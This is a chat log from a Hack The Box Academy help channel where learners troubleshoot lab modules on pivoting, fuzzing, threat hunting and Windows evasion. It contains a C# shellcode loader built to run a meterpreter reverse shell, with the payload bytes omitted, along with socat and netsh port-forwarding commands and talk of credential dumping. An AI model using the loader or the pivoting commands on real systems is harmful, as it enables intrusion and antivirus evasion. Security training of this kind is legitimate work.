modules

[round moat]

help!!

[split glade]

Restart the scan, restart the machine, change VPN? It's the right command

[storm elk]

Gotta love this response when spwaning an instance

{ "success": 1, "ready": 0, "ip": null, "life_remaining": 119, "remaining_life_in_seconds": 7188 }

give me my IP 😠 😆

[timber hatch]

i am also no able to spwan my tagret...

[storm elk]

Okay, who broke it

https://status.hackthebox.com/

I'll try again later 👀

[tight wigeon]

Me too

[sour lake]

same thing here

[muted kindle]

yeah stucked

[forest zenith]

I have downloaded the source code for codeigniter in the correct version and have been digging on the code, still havent found the right function

[normal sand]

Module and Section: https://academy.hackthebox.com/module/158/section/1439

Use the concepts taught in this section to pivot to the Windows server at 172.16.6.155 (jason:WellConnected123!). Submit the contents of Flag.txt on Jason's Desktop.
I'm able to transfer the binaries, but once I extract the contents of SocksOverRDP x64, the .dll file disappears shortly after. Please advise.

[storm hedge]

Hello, I'm studying web vulnerabilities but I'm not a native english speaker.
In server side template injection mean, does template refer
A - Injection in the template
B - Injection of template
?

[jovial sable]

In the template i think

[storm hedge]

@jovial sable thank you. The available translations in my native language are incorrect

[jovial sable]

Like you inject the code due to a vulnerability on how the template is made, usually with <%%> or ${{}}, if im not wrong

[storm hedge]

@jovial sable yes, that's correct. I used the attack in several jinja labs and I agree with you.
It's just that I'm taking notes, and I wanted to have the proper interpretation (the tranlsation I have in my native language is a little bit misleading,,it literally translate into injection of template, hence my confusion)

[jovial sable]

oh, I undestand. So yep, option A has to be

[storm hedge]

@jovial sable I think you were right the first time, it makes more sense

(At least to me)

@jovial sable thanks a lot for your help

[jovial sable]

np : )

[noble heath]

[CDSA][1 of 2] Intrusion Detection With Splunk (Real-world Scenario):
https://academy.hackthebox.com/module/218/section/2357
Hi guys/admins. I did some black box threat hunting and found some interesting stuff on the dataset for the said module that were not asked in the module exercises, as well as other things that needs to be verified such as:
||After the credential dumping via comsvcs.dll's minidump function (2022-11-06 11:44:07) on host (DESKTOP-EGSS5IS), the adversary proceeds in executing psexec related commands '
to enumerate the other host (10.0.0.47, DESKTOP-UN7T4R8) commands such has hostname, whoami or any generic situational awareness commands as well as network enum ones (2022-11-06 11:57:27) though I saw one command on 10.0.0.47 related to commandline: net user waldo Password@123 (2022-11-06 11:12:32). What's not clear to me is the net user command, would it be right to assume that prior to the dumping at DESKTOP-EGSS5IS, waldo created the user created the user waldo with password Password@123 via the net user waldo Password@123 since this event took place first before the dumping of credentials?
comsvcs.dll's minidump function (2022-11-06 11:44:07) on host DESKTOP-EGSS5IS
net user waldo Password@123 (2022-11-06 11:12:32) on host DESKTOP-UN7T4R8
[!] This comes to a fact as well that after the credential dumping event there's one successful login event from DESKTOP-EGSS5IS for the user waldo against DESKTOP-UN7T4R8 but
that is at 2022-11-06 11:59:59 which is normal given that there's credential dumping that took place, but I still can't figure it out how net user waldo Password@123 was
executed on DESKTOP-UN7T4R8 where in fact the dumping just took place after the net user related event?||

[CDSA][2 of 2] Intrusion Detection With Splunk (Real-world Scenario):
Hi guys/admins. I did some black box threat hunting and found some interesting stuff on the dataset for the said module that were not asked in the module exercises, as well as other things that needs to be verified such as:
||2. As for other attacks I've seen notepad.exe and cmd.exe was set to be a persistence mechanism as initiated by randomfile.exe on host DESKTOP-EGSS5IS
cmd.exe and notepad.exe was used to escalate privilege from user waldo > NT AUTHORITY\SYSTEM upon its execution as a persistence mechanism on 2022-11-08
(Please confirm this finding)
3. I saw SharpHound.exe and file.exe being fetched by the adversary via PS' Invoke-WebRequest on DESKTOP-EGSS5IS. tools used agains the domain and its users as of now I don't see anything other than these 2 (Please confirm this finding)
4. Invoke-DCSync.ps1 was downloaded on DESKTOP-UN7T4R8. (Please confirm this finding)
5. Was able to see a DCsync attack related artifact via Windows Event ID 4662 user waldo being the culprit for that. Can you confirm if the DC controller is host WIN-HSRME76TRAD.uniwaldo.local? (Please confirm this finding)
6. Aside fromn SharpHound.exe being invoked on DESKTOP-EGSS5IS and Invoke-DCSync.ps1 invoked on DESKTOP-UN7T4R8 are there any other steps that I've missed or any major attacks against the DC? (Please confirm this finding)||

[split glade]

About the .dll "Defender may try to stand in your way"

[normal sand]

Ohhhhh, so that's why it disappeared.

[normal sand]

I didn't even end up using the technique, I just kept RDP'ing to the final host 💀

Learning ligolo rn and then I'll try the lab's method and then with ligolo.

[split glade]

Well it's always good to know for the future, .dll/.exe who magically disappear = Defender/some kind of security measure, but probably Defender for a CTF

[astral horizon]

hey guys, I want to start hack the box academy's soc analyst job role path, how long does it take approximately in hours? it's written there 23 days, does it mean 552 hours? or is it a module a day?

[bold sinew]

Login Brute Forcing > Skills Assessment - Service Login

I am having trouble with the first question, which asks me to use the information from the previous module to create a custom password wordlist that meets password policy and use usernameGenerator to generate potential usernames, then brute force the SSH server on the target host.

I have managed to narrow down the potential username to ||h.potter|| and the worldlist I created with ccup is failing to get a hit. I only used the first and last name to generate the password list (and allowed for special characters) but im not getting hits. Do I have the right username? If so, should I revisit my password list?

[split glade]

If you start with 0 experience it's usually (much) longer than the estimated time, but the theory is 1 day = 8 hours

[astral horizon]

thanks

[normal sand]

Yeah, thanks for telling me, it hadn't even occured to me. And the usual notification you get when it happens on a personal machine didn't show so I never realized. Thanks!

@next bronze with ligolo or any tool, it's not possible to do run an nmap -sS scan on a pivot, right?

[muted kindle]

ligolo can

[normal sand]

Btw do you know how I can reset all the network routes and NICs that I've added?

[muted kindle]

u can manually delete them
or restart your host

[normal sand]

Is there a way to know which were the default to begin with?

So I don't accidentally delete something I'm not supposed to?

[muted kindle]

im only familiar with ligolo, so if a route or interface was added "ligolo" name would be there

[normal sand]

Alrighty

[cloud wigeon]

Ffuf assessment last question. I found the wordlist. Found values. Tried all of them, nothing worked . With curl -X POST
https://academy.hackthebox.com/module/54/section/511

[normal sand]

I've just learnt that listener's can be added to compromised hosts with listener_add but how do we do it on Windows hosts?

[muted kindle]

That's managed through the ligolo console on your host in the session of the agent

[normal sand]

Oh okay, noted.

Guess I should fire up ligolo and test it out instead of just reading. It'll give me a better idea.

[cloud wigeon]

box you done the Ffuf assesment yet?

[muted kindle]

Yeah but i don't remember what i did though

[cloud wigeon]

mind if i dm whit what i tried?

[muted kindle]

ok

[timber hatch]

can somebody help me with the module INTRODUCTION TO WINDOWS EVASION TECHNIQUES / Static Analysis?
the code below, when paste in the shellcode, should make a reverse shell to the handler right?

code:
using System;
using System.Linq;
using System.Runtime.InteropServices;

namespace NotMalware
{
internal class Program
{
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    static void Main(string[] args)
    {
        // Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
        byte[] buf = new byte[] {<SNIP>};

        // Allocate RW space for shellcode
        IntPtr lpStartAddress = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x1000, 0x04);

        // Copy shellcode into allocated space
        Marshal.Copy(buf, 0, lpStartAddress, buf.Length);

        // Make shellcode in memory executable
        UInt32 lpflOldProtect;
        VirtualProtect(lpStartAddress, (UInt32)buf.Length, 0x20, out lpflOldProtect);

        // Execute the shellcode in a new thread
        UInt32 lpThreadId = 0;
        IntPtr hThread = CreateThread(0, 0, lpStartAddress, IntPtr.Zero, 0, ref lpThreadId);

        // Wait until the shellcode is done executing
        WaitForSingleObject(hThread, 0xffffffff);
    }
}

}

when no help is in this forum, anybody knows where to write?

[autumn pilot]

you need to be patient young padawan

[timber hatch]

I was...but have been asking for some time...😆

[timber hatch]

are you able to help?

i dont get it.
C:\Tools\NotMalware\NotMalware\bin\Debug>.\NotMalware.exe
Shellcode allocated at: 2D60000
Shellcode copied to allocated space.
Shellcode memory protection set to executable.
Shellcode execution thread created.

[next bronze]

time to break out the debugger

or add pauses in your program so that it can be examined

[timber hatch]

i did this with the statements above.
C:\Tools\NotMalware\NotMalware\bin\Debug>.\NotMalware.exe
Shellcode allocated at: 2D60000
Shellcode copied to allocated space.
Shellcode memory protection set to executable.
Shellcode execution thread created.

seems to work

[normal sand]

@muted kindle If I've started an smb server on the attack host that I wish to access from PC-2, what listener on ligolo do I need to add to PC-1?

I've tried adding the following listener on PC-1, but couldn't access the smb share:

listener_add --addr 0.0.0.0:1234 --to 0.0.0.0:445

[muted kindle]

I don’t think you can do it like that because windows defaults to 445 for smb

[normal sand]

But doesn't the command I type mean that when I send the connection request to port 1234 via PC-1, it'll redirect it to port 445 on my attack host? 🤔

[muted kindle]

Yes
But accessing share on windows use 445 always
It’ll be accessing the share of pc-1

[normal sand]

Also, after I tried deleting the listener, this happened 💀

Can I DM you what I did so far?

[muted kindle]

If you want to transfer files to pc2, set up a Python web server,
If you want to get files out setup uploadserver
The file transfer module teaches how to use

[sterile vigil]

TE.CL section lab from HTTP Attacks module:

Could you give me any hint? What wrong I do?

[normal sand]

So I need to transfer it to PC-1 first and then to the attack host? No direct method?

[muted kindle]

?
If you host uploadserver on port 8000 for example
You can add listener on pc1 for 8888 forward to you at 8000
Then on pc2 it use curl or some script to upload the file to pc1:8888

[normal sand]

Yeah, I understood that concept, and I tried applying the same logic to an SMB share, but you're saying something about windows using 445 by default that I don't get? I'm making the smb connection request to 1234 tho?

[muted kindle]

How do you get the UNC path to use 1234

If you can do that I’m not aware of it

[normal sand]

UNC?

[muted kindle]

You want pc2 to reach your share yes? So it has to use \\yourIP\share

But how do you do that to use PC1 IP at port 1234

[split glade]

There are some direct methods, like
./socat TCP4-LISTEN:1234,fork TCP4:10.10.14.165:445 if PC1 is a linux machine
netsh.exe interface portproxy add v4tov4 listenport=1234 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.14.165 if PC1 is a windows machine
I didn't do it with ligolo-ng yet though

[normal sand]

I was thinking something like \\PC-1_IP:1234\share, no?

[muted kindle]

Can u try it

[normal sand]

I had to kill my ligolo session cuz of the error, I'll reconnect and try it and let you know.

[next bronze]

doesn't work like that, windows will always go to 445 when pointed to a smb path

[normal sand]

In my previous attempt I forgot the port.

[next bronze]

not to mention that smb also needs 139 so you'll need to forward multiple ports

just use http/s

[normal sand]

Oh okay.

[normal sand]

But have I understood the port forwarding with ligolo correctly so far? 😅

[muted kindle]

Yes

[normal sand]

Thanks you guys.

I'm gonna give double pivoting a go now.

[timber hatch]

can somebody help me with the module INTRODUCTION TO WINDOWS EVASION TECHNIQUES / Static Analysis?
i try to get the reverse shell as explained, the reverse shell works when i just use a normal .exe created with msfvenom, but when i use the C# code it doesnt work

[sterile vigil]

Bump

[timber hatch]

where can i write for help if here nobody can help?

[autumn pilot]

here

[timber hatch]

seems not to work

[autumn pilot]

well, this is done by volunteering so it is not mandatory

[timber hatch]

exactly, and my question is, is there another way to get help?

yes or no?

[autumn pilot]

I don't know

[timber hatch]

ok

[normal sand]

@next bronze @muted kindle
I RDP'd to PC-2 (172.16.5.19) from PC-1 (172.16.5.150), but when I try to ping either of the IP addresses from PC-1, I get destination host unreachable. Also, I find the subnets a little weird?

[next bronze]

where are you pinging from

and what's your tunnel set up

[storm elk]

https://tenor.com/view/tag-gif-13161012535429590073

[next bronze]

I've already given some suggestions, if you want to do maldev, learn to debug your own program, you have the code and the binary

[timber hatch]

and i replied already to you, with:
i did this with the statements above.
C:\Tools\NotMalware\NotMalware\bin\Debug>.\NotMalware.exe
Shellcode allocated at: 2D60000
Shellcode copied to allocated space.
Shellcode memory protection set to executable.
Shellcode execution thread created.

seems to work

[next bronze]

I'm telling you to debug it yourself, not me

[timber hatch]

i have added the debug prints

where i did i tell you to debug my code?

[regal viper]

Yes it should make a reverse shell via HTTP

[normal sand]

I was pinging directly from PC-1's command prompt.

[normal sand]

I'm pretty much following your write up, so I've just got the one tun interface you created at the start.

[regal viper]

Have you placed any breakpoints?

Attached a debugger while its running?

[next bronze]

by sending me the debug output?

[normal sand]

The pinging issue asside, I'm currently trying to double pivot, but I'm getting this error.

[next bronze]

^ excatly what I said earlier

[muted kindle]

double pivot requires creating another device iirc
like ligolo2
then new route to ligolo2
start --tun ligolo2 for the agent

[next bronze]

pc2 might be blocking ping, but if you can rdp from pc1 then there's a route there

[next bronze]

or you can stop the first tunnel and start the second tunnel

[normal sand]

Ahh ok. Can I also kill the first tunnel connection and use that tun interface? But I guess best practice would be to create a new tun interface like you said.

[next bronze]

both will work

[normal sand]

Okay, great. So it depends on my situation and need of retaining access to pc-1.

[muted kindle]

oh i didn't know tht

[next bronze]

exactly

[next bronze]

it used to work like that until the recent multi tunnel update

[normal sand]

Ah okay, it might be blocking ping since I couldn't ping even through my attack host. But what' with the IP addressing? How am I able to access an the /23 IP on PC-2 from /16 IP on PC-1?

[next bronze]

pc1's got 2 interfaces, attach the second pivot to the interface that can reach pc2

[regal viper]

Ah I didn't read entire history, my bad :D

I would suggest not using csharp at all but the course I did was all in C so im biased :D

[normal sand]

Yeah, I got that.

[next bronze]

I prefer C too but that module is done in C#

[normal sand]

My current question lies with the IP addressing scheme.

[next bronze]

fellow maldev academy enjoyer

[regal viper]

🤝 yessir

10/10 worth the price lol

[muted kindle]

am i tripping or is the loading icon not moving
Was it always like that?

oh it spawned

[normal sand]

The second IP address on PC-1 has the IP address 172.16.5.150/16 and from there I was able to directly RDP to PC-2 on the IP 172.16.5.19/23, and then when I did ipconfig in the command prompt on PC-2, I found another interface with the IP 172.16.6.19/16.

[next bronze]

yeah what about it? if you just want to reach pc2, you can ignore that interface

[normal sand]

This is what doesn't make sense to me. I'm able to directly reach from PC-1's /16 subnet to PC-2's /23 subnet, and then the other interface on PC-2 is a /16 subnet that let's me pivot further.

PC-1/16 → PC-2/23?

[next bronze]

whats wrong with that

[normal sand]

I was expecting it to be PC-1/16 → PC-2/16, and then using PC-2/23 subnet to pivot further.

[normal sand]

Maybe I'm not understanding the networking here properly. I know there are overlapping host ranges between the two subnets, so why is it that I can't directly access the last host (PC-3), which has an IP address of 172.16.6.155, directly from PC-2 without having to double pivot?

[next bronze]

that's not how subnetting works, the mask only determines the range of the subnet

go use a subnet calculator for the two subnets if you're confused

[normal sand]

I understand the mask determines the range, but I calculated the range, and PC-3 should fall within the /16, subnet.

PC-3 falls within the Host range for both subnets.

[next bronze]

whys there a pc3 now

[normal sand]

I'm on the same double pivoting section This is the setup for a bird's eye view.

[next bronze]

you can just assume that the routes between the pcs are by design, there can be firewall or routing configurations affercting things

[normal sand]

I see. Hypothetically though, this question is just to confirm my networking knowledge, let's say the firewall or routing configurations weren't present, then PC-2 and PC-3 should be directly accessible from PC-1, yes?

[normal sand]

I hadn't considered this, was racking my brain thinking I'd forgotten how basic networking worked. Thanks. My mind's been so focused on using ligolo to pivot, I missed considering it.

[next bronze]

if it's just a direct connection, yeah

[normal sand]

Alrighty, thanks a lot for bearing with me and my questions. I really appreciate it.

[normal sand]

Btw if I stop the tunnel for my next pivot, won't it break the chain?

[next bronze]

how many pivots are there now

[timber hatch]

yes i tried. and have sent the output before. i dont know...

[normal sand]

Just the pivot on PC-1 that lets me access PC-2.

I now want to go from PC-2 to PC-3.

[next bronze]

that's fine, the agent will still be connected even if you stop the tunnel

at least for double pivots

[regal viper]

have you checked the allocated memory region to see if your shellcode was allocated correctly?

[ivory jasper]

I am pretty sure something wrong with Attack Common Services -> Attacking FTP VM. It has been like 30 mins but FTP service is still not ON. Where should I report this issue?

[normal sand]

Oh, okay. wow.

[normal sand]

So I'm guessing it ain't a feasible method for more than 2 pivots perhaps? In that case, what's best practice? To keep creating new tunnels and tun interfaces?

[next bronze]

I don't remember the last time I've had to use more than 2 tunnels, but the multi tunnel feature will work for this

[normal sand]

I just stopped my tunnel, and I lost my xfreerdp session to PC-2.

[next bronze]

yeah if you stop the tunnel it will kill the connection to the hosts that are not the pivot

I'm talking about the agent itself that is still running, of course the tunnel is stopped

[timber hatch]

for me it seems to be okei?

[normal sand]

Ah okay, so if the agent is still running, is there a method to reinitiate the tunnel?

[regal viper]

check the memory region after you copy the shellcode into memory

[next bronze]

just start it again

[normal sand]

Haha, alrighty.

[regal viper]

@next bronze did you finish maldev?

[next bronze]

yeah

[regal viper]

ah nice, i didnt get far lol, had to pivot to web pen testing to fill in some knowledge

got to module 33

[next bronze]

did it during my free time, tbh I haven't used any of the knowledge in my actual work and don't think I will anytime soon, but still a blast to learn nonetheless

did you get the lifetime sub

[regal viper]

of course 😋

[round moat]

What is the customized version of the POP3 server?
any hint to solve this?
Footprinting -> IMAP/POP3

[regal viper]

thats why im not too fussed about finishing it ASAP

[next bronze]

yeah then just take your time with it

[next bronze]

are you compiling according to the instructions in the module?

[meager topaz]

hey hacker lets hack nasa

[timber hatch]

seems also to be okei, no?

[timber hatch]

i think so. or what do you mean? i have not Encrypted it. but i i think i followed exactly the module the point where in the section he got the meterpreter session

[regal viper]

use x64dbg to attach to the process and go to the allocated memory region and see if your shellcode is actually copied into the memory correctly

[regal viper]

dope website dude, gonna give it a read 🧐

[round moat]

help!!!

[next bronze]

your program is in the debug folder, idk if that will make a difference but follow excatly the requirements in the module

[next bronze]

thank you sir

[next bronze]

if nothing else works use a debugger

[normal sand]

I managed to do it. Thanks a lot for your help @next bronze

[round moat]

What is the customized version of the POP3 server?
Help me with this

[fiery crane]

try using nmap scripting engine

[timber hatch]

oh my god. thank you!

it was set to x32

[timber hatch]

thanks also for your help, really appreciate it

[normal sand]

Btw @next bronze when I stop a listener, I get this error. How do I stop it?

[next bronze]

idk tbh, just don't stop them

that's also a thing caused by the new update

[thin sequoia]

Hi guys, i'm in module Linux Fundamentals, i installed openvpn and ran the academy's vpn, but when i go to the target vm, i was landed in a Apache2 Ubuntu default page. What should i do to fix this? Thanks

[muted kindle]

correct port and web directory?

[thin sequoia]

it seems correct, got Initialization Sequence Completed in terminal, ping looks good too

[muted kindle]

Wat section and question is this ?

[thin sequoia]

Linux Fundamentals - The Shell - System Information, i just cant connect to the target vm to answer questions

[muted kindle]

Below the spawn target it says ssh with the given credentials

Remote login to the target with ssh

[viral lotus]

I have just finished the Linux Fundamentals section, if I wanted to run back through it again at a later date is it a case of just spawning a new target and rinse and repeat?

[thin sequoia]

ah, i missed that part, thank you for the help

[round moat]

What is the admin email address?
Try to access the emails on the IMAP server and submit the flag as the answer. (Format: HTB{...})
Help me solve this

how should i do this?

[fathom pendant]

If you read emails you can get email addresses

Log into the imap service with your known user, and read their emails

[round moat]

i cant find email address, which command i should use give me a hint

[fathom pendant]

You should be fetching the body of the email

[bold sinew]

Still currently stuck on this if anyone is able to provide any insight. Mainly just wanting to know if im on the right track and just need to be patient or if i've fucked up somewhere in the process. I'm struggling to troubleshoot this myself.

[fathom pendant]

I suggest looking up imap commands, I've linked to a few articles in the past

[round moat]

can you pin me out on that

[fathom pendant]

Just use discord search feature

Or Google "imap commands"

[cloud wigeon]

web assesment final question. A small nudge pls?
i have found a short username wordlist from seclists
i have found the parameters
i have tried all usernames but i only get method no longer used and with one a combo i tried outside of that wordlist, you dont have access

[stable bone]

@fathom pendant can you help me find how to find an inverse wifi compatability?

[cloud wigeon]

should i post the commands ive used here?

and why is my handle still unverified, should i contact support?

[fathom pendant]

Invalid method means the parameter isn't correct iirc

[fathom pendant]

Read and follow #welcome

[cloud wigeon]

my bad..tnx
just verified, it said verification error contact online mod for help?

[cloud wigeon]

yes, I have found both parameters that dont need another username as value im assuming, so the wordlist is were im having an issue with. I have the parameters. I cant find the right wordlist to fuzz the other value to gain the flag w curl. Either that or im not understanding something.

[fathom pendant]

You're not understanding something

You need to find a proper parameter (there will only be one) and then fuzz the value

[cloud wigeon]

i found it

this user does not have access

error is what i get, so im assuming the user exists

[fathom pendant]

Well, keep trying until you get a user that does

[cloud wigeon]

its not the pass?

ive tried the whole wordlist mentioned on the forum website on both parameters

[fathom pendant]

To be clear: you're doing the attacking web applications with ffuf module?

[cloud wigeon]

https://academy.hackthebox.com/module/54/section/511

[fathom pendant]

Yep you get 2 parameters

[analog dock]

Because you already linked your acc to your alt discord probably

[glass quail]

Module: Broken Authentication
Section: Skill Assessment
Hey in the module broken authentication how can you tell how many digits the OTP has in the skill assessment? I can't find it anywhere on the page and I tried 4,5, and 6 digits.

[cloud wigeon]

thank you kindly

[fathom pendant]

And fuzzing the value with a namelist will get you something @cloud wigeon

[cloud wigeon]

ok, ill keep trying

thank you

[fathom pendant]

You should use the namelist that's highlighted throughout the module

[cloud wigeon]

which i am

ill re read it

[fathom pendant]

Make sure your headers are correct as well

parameter=FUZZ

And the content-type

[cloud wigeon]

?parameter=FUZZ and -X POST ..

[fathom pendant]

That's not how post requests work

-d parameter=FUZZ

[cloud wigeon]

yes

encapsulated by single quotes

dont want to copy paste the whole cmd as spoiler

[fathom pendant]

Then why are you adding ?parameter 😉

[cloud wigeon]

ok

gotcha tnx for pointing out

[grand prairie]

Crackmapexec - skills assessment
I am stuck at question 5. Can someone please write to me and give me some tips on how to complete the module?

[normal sand]

What is the host discovery command ya'll prefer to use?

I'm currently trying to perform host discovery to hunt for something I could pivot to using this command:

sudo nmap -sn <ip_addr/CIDR>

[glass quail]

That search bar is so helpful thanks mentioning it the other day

[normal sand]

Sometimes I forget it exists, thanks 😂

[glass quail]

haha ya I thought a while back why would someone need that and now im thinking how much data is stored on this discord

[quasi jungle]

Can I do write-ups for HTB Academy modules now that the write-ups are accessible on-site when paid.

[soft needle]

I think u can make write ups for tier 0.

[normal sand]

How do ya'll perform host discovery on a subnet that blocks ping?

[dim wolf]

DNS

nmap -Pn scan

[normal sand]

That disabled ICMP Echo Ping, right? So doesn't it result in using ARP ping?

[acoustic owl]

https://help.hackthebox.com/en/articles/5188925-streaming-writeups-walkthrough-guidelines

[sly nebula]

I am running into the same issue. I can evade Defender and YARA. My payload works when launched from the command line in EVASION-TARGET, but it does not work when launched automatically. Could someone help me shed some light here? Thanks.

[dim wolf]

you can do -sS for SYN scan

[normal sand]

So this?

nmap -sS -Pn <ip_addr>

[dim wolf]

i made mistake remove -Pn

[smoky vortex]

I'm doing "LINUX PRIVILEGE ESCALATION" / "Linux Services & Internals Enumeration". The question in the end of the module about the latest version of Python on box, what they actually want as the answer? There's several python binaries, but nothing matches.

[dim wolf]

that scan will take forever though

ideally if you're in an AD environment you want to find the domain controller and some valid credentials

then use adidnsdump to find all the hosts in the network

[marsh echo]

someone tell me why i can't connect me on vm attack (ACADEMY-EA-ATTACK01) for this section ?https://academy.hackthebox.com/module/143/section/1275

[open summit]

I cant login to my HTB account + i try to reset password nothing is sent to my email where do i get assistance about this issue : )

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[fathom pendant]

No

[open summit]

chat bot doesnt work

[fathom pendant]

Give it a minute

It's not like there's thousands of support agents waiting for a chat

It's not uncommon to need to wait a handful of minutes to an hour before getting a response, as they may be responding to another support request

[open summit]

how do you get scriptkiddie/hacker rank btw

[fathom pendant]

By advancing on the main website, doing active boxes

[open summit]

how are you on the same rank as me im dogshit compared to u cuh

[fathom pendant]

Because I don't do main platform content atm

[open summit]

what sort of cyber activities you smokin on?

[fathom pendant]

None, just got a lot going on

[lofty shore]

Hi, I'm reading the 'Host and Port Scanning' section of the nmap module and it says this about TCP Connect scans:
It is also useful when the target host has a personal firewall that drops incoming packets but allows outgoing packets. In this case, a Connect scan can bypass the firewall and accurately determine the state of the target ports.
I don't understand why this scan would bypass a target's firewall that drops incoming packets. Wouldn't the initial SYN packet from nmap just get dropped?

[sonic chasm]

Hi. I am not sure if this is the right place to ask, but does anyone know if it is possible to "return" a subscription? I accidentally pressed purchase on the Silver subscription, which was surprisingly easy to accidentally purchase. I have not yet accessed any modules that I didn't already purchase with cubes beforehand. (Also I JUST purchased it like 15 minutes ago, so it is quite recent)

[fathom pendant]

Message support

[open summit]

How do I know where the flag.txt file was downloaded

[fathom pendant]

It's not something that can be taken care of via discord

[fathom pendant]

It's your current directory you launched ftp from

[open summit]

thx

[open summit]

how do I get the script kiddie rank ?

[fathom pendant]

By leveling up in the main site

As I said earlier, rank isn't tied to academy progress

[open summit]

ye im doing these starting machine labs but the ydotn seem to gimme points

[fathom pendant]

Because they have to be active. Starting point isn't "active" machines, and since they have writeups as well - they also don't contribute

[open summit]

ahh ok

[midnight galleon]

command injection skill assessment, can i get some help?

i found the injection point and bypassed many filters but i still get malicious request detected

[marsh echo]

has anyone ever tried to read the flag with powerupsql? i succeeded with mssqlclient.py but i'm trying to find a way to display the flag with a system command. https://academy.hackthebox.com/module/143/section/1275

[open summit]

why is my wordlist like this on kali linux?

doesnt let me extract it either

[fathom pendant]

Use sudo

[open summit]

my kali crashed when i tried opening the file lol

[fathom pendant]

Well, because its a big wordlist

If you don't have enough storage space then your system isn't gonna like it

[novel solar]

Anyway to get free cubes

[open summit]

complete modules

and u can invite people apparently but it didnt work for me

invited my brother and it never gave me any cubes

even though he signed up

through my link

[novel solar]

But unlocking modules need cubes

[hexed lintel]

you will get the cube if your referral buys certain plans/subscription

[agile token]

Hello, can anyone explain me, where is kira's "cracked password" or what they mean by that? https://academy.hackthebox.com/module/147/section/1322 I did all past modules but didnt save any of the passwords. should I check them again? or I need to do smt else?

[buoyant void]

Always keep passwords that you've cracked, they very likely will come in handy as you progress through a module

Unless you have Kira's password that you cracked saved somewhere, you'll need to go ahead and get it again

[agile token]

Alr thanks, I will do it.

[glass quail]

ahha finally got the broken authentication flag 😛

that was a fun module

[hushed sail]

[fathom pendant]

No

[fathom pendant]

Its a low %

[marsh echo]

anyone ?

[hallow remnant]

MODULE: Advanced SQL Injection
SECTION: Common Character Bypass
URL: https://academy.hackthebox.com/module/188/section/1997

Are we meant to know a set of valid credentials to login with to the application? To my knowledge, the /find-user endpoint is only reachable if you are already logged-in.

EDIT (solved): You can create your own account.

[viral lotus]

I did try to ask earlier, but it got missed in the feed... If you complete a module can you go back and run through the practical elements as much as you like? just doing my CREST path so lots of content to consume. Thanks

[silent glade]

idk any of these channels so im just gonna type here
is the academy just text based or does it have videos where they're explained

[buoyant void]

Text based as far as I've seen, but every module has lots of practical labs.

[viral lotus]

After launching a win machine in the course roughly how long does it take to be able to RDP into? some communities can be up to like 5 minutes?

[fathom pendant]

No videos, but there are practical labs

[buoyant void]

I've never had to wait more than a couple of minutes but obviously sometimes there's some latency but switching VPN servers seems to help

[fathom pendant]

Usually 5-10 minutes is the safe bet

[silent glade]

ah ok thanks

[buoyant void]

I will say any win machine with internal machines that you need to pivot into, those take a while from my experience

[silent glade]

i found the interface pretty friendly so ill stick with it this time

[fathom pendant]

You can likely find video guides on the tier 0 content

But tier 1+ videos aren't allowed

[silent glade]

do certifications cost money

[fathom pendant]

Yes

[silent glade]

so

[viral lotus]

thanks very much, and can I run back through the practical content as much as I like? thanks just trying to plan my study

[fathom pendant]

Any cert that holds value will cost some amount of money

[silent glade]

to say i completed this i need to pay 400 dollars

[fathom pendant]

Yes

[viral lotus]

thank you

[silent glade]

yay i finished the intro

[fathom pendant]

No. You can complete a job role path without taking the certification exam

[silent glade]

lol

[silent glade]

what

[fathom pendant]

The cert isn't just "oh I completed the path" it's, "I took an exam that proves my competency in the exam material, and can write a professional report"

[silent glade]

sorry can you explain it to me like im a caveman that just found out about fire

[fathom pendant]

The path is a requirement to be able to take the exam in the first place

Pentester path for CPTS, Bug Bounty Hunter for CBBH, SOC analyst for CDSA, Senior Web Pentester for CWEE

They are all pinned in their respective channels

[silent glade]

bro you sound so professional rn and im scared of making you mad

[fathom pendant]

There's no "lol you completed this, here's a cert" kinda thing

It's a full exam to be able to get the cert, like OSCP

[silent glade]

but, i dont know crap about this stuff thats why im learning, i just know how to code a discord bot in python nothing more

[fathom pendant]

Yep and that's why you can't take the respective exams without first completing the required path

[silent glade]

idk what these oscp cpts or what they are

[silent glade]

amazing

[fathom pendant]

OSCP is the industry standard pentest cert, CPTS is HTB's competitor cert to it

[silent glade]

ohh

[fathom pendant]

Your resume isn't even likely to get looked at if you don't have it (for Jr pentest position)

[silent glade]

wait theres jobs for this

[fathom pendant]

Yes, penetration testing is a legit job

[silent glade]

holy crap this is awesome

[fathom pendant]

It's hard as fuck to get your foot in the door though

[silent glade]

although that name is kind of... suspicious someone could mistake it for something else

[fathom pendant]

Most people start SOC (Security Operation Center) and pivot to it

[fathom pendant]

There's companies that do this, there's contracts and such for it

They are well defined and scoped

[silent glade]

wow

man, you sound professional asf rn and im here for it

[fathom pendant]

well that's where the ethical side of ethical hacking comes in ¯_(ツ)_/¯

Most people just do public bug bounties, as they can be done by anyone with the skills

[silent glade]

i figured out how to use sqlmap and now i can just screenshot it and scare some 5 year olds or some crap, i sent a screenshot of 2 game hacking apps from my phone to my friend, dude sent a voice memo screaming im calling the police if you dare

[fathom pendant]

Meh

[silent glade]

yeah meh truly

i got scared for my sake cause he's that stupid he'd actually call them i swear

[fathom pendant]

As long as you aren't doing anything illegal, you're fine

Decompiling a game isn't necessarily illegal, unless the company clearly states so in its ToS

[silent glade]

yeah uhh

it was basically for getting modded games or paid games for free, happymod but looked more professional ig, i might learn how to use cheat engine

[fathom pendant]

Attacking live sites that don't have a bug bounty program, however, I'd advise against it

[fathom pendant]

I suggest refraining from talking about cracking games

[silent glade]

can i attack my own sites?

[fathom pendant]

#rules

[silent glade]

ohh mb mb

[fathom pendant]

Yes, they're yours

[silent glade]

would i get in any trouble with the hosting provider or something

[fathom pendant]

Most hosting sites pass the testing onto the customer

[silent glade]

ah ok

